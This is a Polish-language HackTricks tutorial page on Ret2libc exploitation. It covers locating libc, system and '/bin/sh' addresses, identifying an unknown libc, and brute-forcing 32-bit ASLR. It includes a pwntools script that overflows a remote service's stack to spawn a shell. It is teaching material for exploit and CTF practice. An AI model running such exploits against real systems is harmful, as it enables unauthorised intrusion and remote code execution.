.. | ||
rop-leaking-libc-address | ||
README.md |
Ret2lib
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Istotą Ret2Libc jest przekierowanie przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. system, execve, strcpy) zamiast wykonywania kodu shell dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszelkie konieczne argumenty są poprawnie ustawione zgodnie z konwencją wywoływania.
Przykładowe kroki (uproszczone)
- Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wywołania (np. /bin/sh)
- Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na łańcuch polecenia i przepływ wykonania do funkcji
Znajdowanie adresów
- Przyjmując, że używana jest
libc
z bieżącej maszyny, można znaleźć, gdzie zostanie załadowana w pamięci za pomocą:
{% code overflow="wrap" %}
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
{% endcode %}
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Znając używaną bibliotekę libc, można również znaleźć przesunięcie do funkcji
system
za pomocą:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Znając używaną bibliotekę libc, można również znaleźć przesunięcie do funkcji łańcucha
/bin/sh
za pomocą:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Korzystanie z gdb-peda / GEF
Znając używaną bibliotekę libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji system, funkcji exit i ciągu znaków /bin/sh
:
p system
p exit
find "/bin/sh"
Korzystanie z /proc/<PID>/maps
Jeśli proces tworzy dzieci za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj odczytać ten plik (prawdopodobnie będziesz musiał być rootem).
Tutaj możesz znaleźć dokładne miejsce, gdzie jest załadowany libc wewnątrz procesu i gdzie będzie załadowany dla każdego dziecka procesu.
W tym przypadku jest załadowany pod adresem 0xb75dc000 (Będzie to adres bazowy libc)
Nieznany libc
Może się zdarzyć, że nie znasz biblioteki libc, którą ładuje binarny plik (ponieważ może znajdować się na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać podatność do wycieku niektórych adresów i znalezienia, która biblioteka libc jest używana:
{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}
A szablon pwntools do tego znajdziesz tutaj:
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Omijanie ASLR w 32 bitach
Te ataki brute-force są przydatne tylko dla systemów 32-bitowych.
- Jeśli exploit jest lokalny, możesz spróbować przeprowadzić atak brute-force na adres bazowy libc (przydatne dla systemów 32-bitowych):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Jeśli atakujesz zdalny serwer, możesz spróbować przeprowadzić atak siłowy na adres funkcji
usleep
z bibliotekilibc
, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer potrzebuje dodatkowych 10 sekund na odpowiedź, oznacza to, że znalazłeś adres tej funkcji.
One Gadget
{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}
Przykład kodu x86 Ret2lib
W tym przykładzie atak siłowy ASLR jest zintegrowany w kodzie, a podatny plik binarny znajduje się na zdalnym serwerze:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
Przykład kodu x64 Ret2lib
Sprawdź przykład z:
{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}
Ret-into-printf (lub puts)
To pozwala na wyciek informacji z procesu poprzez wywołanie printf
/puts
z określonymi danymi umieszczonymi jako argument.
Ret2printf
Oznacza to w zasadzie nadużycie Ret2lib w celu przekształcenia go w podatność na łańcuchy formatujące printf
, korzystając z ret2lib
do wywołania printf z wartościami do wykorzystania (brzmi bezużytecznie, ale możliwe):
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Inne przykłady i odnośniki
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, mając wyciek do adresu funkcji w libc, korzystając z jednego gadżetu
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bity, włączone ASLR, ale brak PIE, pierwszym krokiem jest przepełnienie aż do bajtu 0x00 canary, a następnie wywołanie puts i wyciek. Z canary tworzony jest gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadżet ROP do wywołania
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bity, włączone ASLR, brak canary, przepełnienie stosu w funkcji głównej z funkcji potomnej. Gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie wywołanie jednego gadżetu.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bity, brak PIE, brak canary, brak relro, nx. Wykorzystuje funkcję write do wycieku adresu write (libc) i wywołuje jeden gadżet.
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.